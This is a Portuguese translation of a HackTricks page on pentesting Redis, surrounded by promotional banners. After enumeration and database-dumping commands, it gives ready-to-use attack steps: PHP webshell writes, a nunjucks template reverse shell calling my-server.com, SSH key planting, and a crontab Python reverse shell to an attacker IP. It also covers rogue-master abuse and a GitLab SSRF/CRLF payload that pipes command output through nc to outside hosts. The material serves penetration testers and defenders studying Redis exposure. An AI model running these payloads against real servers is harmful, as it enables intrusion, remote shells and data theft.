19 KiB
6379 - Pentesting Redis
Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras maneiras de apoiar o HackTricks:
- Se você deseja ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF Confira os PLANOS DE ASSINATURA!
- Adquira o swag oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-nos no Twitter 🐦 @carlospolopm.
- Compartilhe seus truques de hacking enviando PRs para os HackTricks e HackTricks Cloud repositórios do github.
Junte-se ao servidor HackenProof Discord para se comunicar com hackers experientes e caçadores de recompensas por bugs!
Percepções de Hacking
Envolver-se com conteúdo que explora a emoção e os desafios do hacking
Notícias de Hacking em Tempo Real
Mantenha-se atualizado com o mundo acelerado do hacking através de notícias e insights em tempo real
Últimos Anúncios
Fique informado sobre os mais recentes programas de recompensas por bugs lançados e atualizações cruciais na plataforma
Junte-se a nós no Discord e comece a colaborar com os melhores hackers hoje!
Informações Básicas
De a documentação: Redis é um armazenamento de estrutura de dados em memória, de código aberto (licença BSD), usado como um banco de dados, cache e corretor de mensagens.
Por padrão, o Redis usa um protocolo baseado em texto simples, mas você deve ter em mente que também pode implementar ssl/tls. Aprenda como executar o Redis com ssl/tls aqui.
Porta padrão: 6379
PORT STATE SERVICE VERSION
6379/tcp open redis Redis key-value store 4.0.9
Enumeração Automática
Algumas ferramentas automatizadas que podem ajudar a obter informações de uma instância do redis:
nmap --script redis-info -sV -p 6379 <IP>
msf> use auxiliary/scanner/redis/redis_server
Enumeração Manual
Banner
O Redis é um protocolo baseado em texto, você pode simplesmente enviar o comando em um socket e os valores retornados serão legíveis. Lembre-se também de que o Redis pode ser executado usando ssl/tls (mas isso é muito estranho).
Em uma instância regular do Redis, você pode se conectar usando nc
ou também pode usar redis-cli
:
nc -vn 10.10.10.10 6379
redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools
O primeiro comando que você poderia tentar é info
. Ele pode retornar a saída com informações da instância do Redis ou algo como o seguinte é retornado:
-NOAUTH Authentication required.
Neste último caso, isso significa que você precisa de credenciais válidas para acessar a instância do Redis.
Autenticação do Redis
Por padrão, o Redis pode ser acessado sem credenciais. No entanto, ele pode ser configurado para suportar apenas senha ou nome de usuário + senha.
É possível definir uma senha no arquivo redis.conf com o parâmetro requirepass
ou temporariamente até que o serviço reinicie conectando-se a ele e executando: config set requirepass p@ss$12E45
.
Além disso, um nome de usuário pode ser configurado no parâmetro masteruser
dentro do arquivo redis.conf.
{% hint style="info" %}
Se apenas a senha estiver configurada, o nome de usuário usado é "default".
Além disso, observe que não há como descobrir externamente se o Redis foi configurado apenas com senha ou nome de usuário + senha.
{% endhint %}
Em casos como este, você precisará encontrar credenciais válidas para interagir com o Redis, então você poderia tentar força bruta nisso.
Caso encontre credenciais válidas, você precisará autenticar a sessão após estabelecer a conexão com o comando:
AUTH <username> <password>
Credenciais válidas serão respondidas com: +OK
Enumeração autenticada
Se o servidor Redis permitir conexões anônimas ou se você obteve credenciais válidas, você pode iniciar o processo de enumeração do serviço usando os seguintes comandos:
INFO
[ ... Redis response with info ... ]
client list
[ ... Redis response with connected clients ... ]
CONFIG GET *
[ ... Get config ... ]
Outros comandos do Redis podem ser encontrados aqui e aqui.
Note que os comandos do Redis de uma instância podem ser renomeados ou removidos no arquivo redis.conf. Por exemplo, esta linha removerá o comando FLUSHDB:
rename-command FLUSHDB ""
Mais sobre configurar de forma segura um serviço Redis aqui: https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04
Você também pode monitorar em tempo real os comandos Redis executados com o comando monitor
ou obter os 25 queries mais lentos com slowlog get 25
Encontre mais informações interessantes sobre mais comandos Redis aqui: https://lzone.de/cheat-sheet/Redis
Despejando Banco de Dados
Dentro do Redis, os bancos de dados são números que começam a partir de 0. Você pode verificar se algum está sendo usado na saída do comando info
dentro do bloco "Keyspace":
Ou você pode simplesmente obter todos os keyspaces (bancos de dados) com:
INFO keyspace
Nesse exemplo, o banco de dados 0 e 1 estão sendo usados. O banco de dados 0 contém 4 chaves e o banco de dados 1 contém 1. Por padrão, o Redis usará o banco de dados 0. Para fazer o dump, por exemplo, do banco de dados 1, você precisa fazer:
SELECT 1
[ ... Indicate the database ... ]
KEYS *
[ ... Get Keys ... ]
GET <KEY>
[ ... Get Key ... ]
No caso de você receber o seguinte erro -WRONGTYPE Operation against a key holding the wrong kind of value
ao executar GET <KEY>
, é porque a chave pode ser algo diferente de uma string ou um inteiro e requer um operador especial para exibi-la.
Para saber o tipo da chave, use o comando TYPE
, exemplo abaixo para chaves de lista e hash.
TYPE <KEY>
[ ... Type of the Key ... ]
LRANGE <KEY> 0 -1
[ ... Get list items ... ]
HGET <KEY> <FIELD>
[ ... Get hash item ... ]
# If the type used is weird you can always do:
DUMP <key>
Despeje o banco de dados com npm redis-dump ou python redis-utils
Junte-se ao servidor HackenProof Discord para se comunicar com hackers experientes e caçadores de bugs!
Percepções de Hacking
Engaje-se com conteúdo que mergulha na emoção e desafios do hacking
Notícias de Hacking em Tempo Real
Mantenha-se atualizado com o mundo acelerado do hacking através de notícias e percepções em tempo real
Últimos Anúncios
Fique informado sobre os mais recentes programas de recompensas por bugs lançados e atualizações cruciais na plataforma
Junte-se a nós no Discord e comece a colaborar com os melhores hackers hoje!
Redis RCE
Shell Interativo
redis-rogue-server pode automaticamente obter um shell interativo ou um shell reverso no Redis (<=5.0.5).
./redis-rogue-server.py --rhost <TARGET_IP> --lhost <ACCACKER_IP>
PHP Webshell
Informações de aqui. Você deve saber o caminho da pasta do site:
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /usr/share/nginx/html
OK
10.85.0.52:6379> config set dbfilename redis.php
OK
10.85.0.52:6379> set test "<?php phpinfo(); ?>"
OK
10.85.0.52:6379> save
OK
Se a exceção de acesso ao webshell, você pode esvaziar o banco de dados após o backup e tentar novamente, lembre-se de restaurar o banco de dados.
Modelo Webshell
Assim como na seção anterior, você também pode sobrescrever algum arquivo de modelo html que será interpretado por um mecanismo de modelo e obter um shell.
Por exemplo, seguindo este artigo, você pode ver que o atacante injetou um shell reverso em um html interpretado pelo mecanismo de modelo nunjucks:
{{ ({}).constructor.constructor(
"var net = global.process.mainModule.require('net'),
cp = global.process.mainModule.require('child_process'),
sh = cp.spawn('sh', []);
var client = new net.Socket();
client.connect(1234, 'my-server.com', function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});"
)()}}
{% hint style="warning" %} Note que vários motores de modelo armazenam em cache os modelos na memória, então mesmo que você os sobrescreva, o novo não será executado. Nestes casos, ou o desenvolvedor deixou a recarga automática ativa ou você precisa fazer um DoS sobre o serviço (e esperar que ele seja reiniciado automaticamente). {% endhint %}
SSH
Exemplo daqui
Por favor, esteja ciente de que o resultado de config get dir
pode ser alterado após outros comandos de exploração manual. Sugiro executá-lo primeiro logo após fazer login no Redis. No resultado de config get dir
você pode encontrar o diretório home do usuário redis (geralmente /var/lib/redis ou /home/redis/.ssh), e sabendo disso você sabe onde pode escrever o arquivo authenticated_users
para acessar via ssh com o usuário redis. Se você souber o diretório home de outro usuário válido onde você tem permissões de escrita, você também pode abusar disso:
- Gere um par de chaves pública-privada ssh em seu pc:
ssh-keygen -t rsa
- Escreva a chave pública em um arquivo:
(echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt
- Importe o arquivo para o redis:
cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key
- Salve a chave pública no arquivo authorized_keys no servidor redis:
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /var/lib/redis/.ssh
OK
10.85.0.52:6379> config set dbfilename "authorized_keys"
OK
10.85.0.52:6379> save
OK
- Finalmente, você pode fazer ssh para o servidor redis com a chave privada: ssh -i id_rsa redis@10.85.0.52
Esta técnica é automatizada aqui: https://github.com/Avinash-acid/Redis-Server-Exploit
Crontab
root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dir /var/spool/cron/crontabs/
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dbfilename root
OK
root@Urahara:~# redis-cli -h 10.85.0.52 save
OK
O último exemplo é para Ubuntu, para Centos, o comando acima deve ser: redis-cli -h 10.85.0.52 config set dir /var/spool/cron/
Este método também pode ser usado para ganhar bitcoin: yam
Carregar Módulo Redis
- Seguindo as instruções de https://github.com/n0b0dyCN/RedisModules-ExecuteCommand você pode compilar um módulo redis para executar comandos arbitrários.
- Em seguida, você precisa de alguma forma de fazer upload do módulo compilado
- Carregue o módulo carregado em tempo de execução com
MODULE LOAD /caminho/para/meumodulo.so
- Liste os módulos carregados para verificar se foi carregado corretamente:
MODULE LIST
- Execute comandos:
127.0.0.1:6379> system.exec "id"
"uid=0(root) gid=0(root) groups=0(root)\n"
127.0.0.1:6379> system.exec "whoami"
"root\n"
127.0.0.1:6379> system.rev 127.0.0.1 9999
- Descarregue o módulo sempre que desejar:
MODULE UNLOAD meumodulo
Bypass de Sandbox LUA
Aqui você pode ver que o Redis usa o comando EVAL para executar código Lua em sandbox. No post vinculado, você pode ver como abusar disso usando a função dofile, mas aparentemente isso não é mais possível. De qualquer forma, se você puder burlar o sandbox Lua, poderá executar comandos arbitrários no sistema. Além disso, no mesmo post, você pode ver algumas opções para causar DoS.
Alguns CVEs para escapar do LUA:
Módulo Mestre-Escravo
O redis mestre sincroniza automaticamente todas as operações com o redis escravo, o que significa que podemos considerar a vulnerabilidade do redis como um redis escravo, conectado ao redis mestre que controlamos, então podemos inserir o comando no nosso próprio redis.
master redis : 10.85.0.51 (Hacker's Server)
slave redis : 10.85.0.52 (Target Vulnerability Server)
A master-slave connection will be established from the slave redis and the master redis:
redis-cli -h 10.85.0.52 -p 6379
slaveof 10.85.0.51 6379
Then you can login to the master redis to control the slave redis:
redis-cli -h 10.85.0.51 -p 6379
set mykey hello
set mykey2 helloworld
SSRF falando com o Redis
Se você pode enviar uma solicitação em texto claro para o Redis, você pode comunicar-se com ele pois o Redis lerá linha por linha a solicitação e apenas responderá com erros às linhas que não entender:
-ERR wrong number of arguments for 'get' command
-ERR unknown command 'Host:'
-ERR unknown command 'Accept:'
-ERR unknown command 'Accept-Encoding:'
-ERR unknown command 'Via:'
-ERR unknown command 'Cache-Control:'
-ERR unknown command 'Connection:'
Portanto, se você encontrar uma vulnerabilidade SSRF em um site e puder controlar alguns cabeçalhos (talvez com uma vulnerabilidade CRLF) ou parâmetros POST, você poderá enviar comandos arbitrários para o Redis.
Exemplo: Gitlab SSRF + CRLF para Shell
No Gitlab11.4.7 foram descobertas uma vulnerabilidade SSRF e uma CRLF. A vulnerabilidade SSRF estava na funcionalidade de importação de projeto a partir de URL ao criar um novo projeto e permitia acessar IPs arbitrários no formato [0:0:0:0:0:ffff:127.0.0.1] (isso acessará 127.0.0.1), e a vulnerabilidade CRLF foi explorada apenas adicionando os caracteres %0D%0A à URL.
Portanto, foi possível abusar dessas vulnerabilidades para se comunicar com a instância do Redis que gerencia filas do gitlab e abusar dessas filas para obter execução de código. O payload de abuso da fila do Redis é:
multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|whoami | nc 192.241.233.143 80\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
exec
E a solicitação de codificação de URL abusando do SSRF e CRLF para executar um whoami
e enviar a saída via nc
é:
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git
Por alguma razão (como para o autor de https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/ de onde essa informação foi retirada), a exploração funcionou com o esquema git
e não com o esquema http
.
Junte-se ao servidor HackenProof Discord para se comunicar com hackers experientes e caçadores de bugs!
Percepções de Hacking
Engaje-se com conteúdo que mergulha na emoção e desafios do hacking
Notícias de Hacking em Tempo Real
Mantenha-se atualizado com o mundo acelerado do hacking através de notícias e insights em tempo real
Últimos Anúncios
Fique informado sobre os mais novos programas de recompensas por bugs lançados e atualizações cruciais na plataforma
Junte-se a nós no Discord e comece a colaborar com os melhores hackers hoje!
Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras maneiras de apoiar o HackTricks:
- Se você deseja ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF Verifique os PLANOS DE ASSINATURA!
- Adquira o swag oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-nos no Twitter 🐦 @carlospolopm.
- Compartilhe seus truques de hacking enviando PRs para os HackTricks e HackTricks Cloud repositórios do github.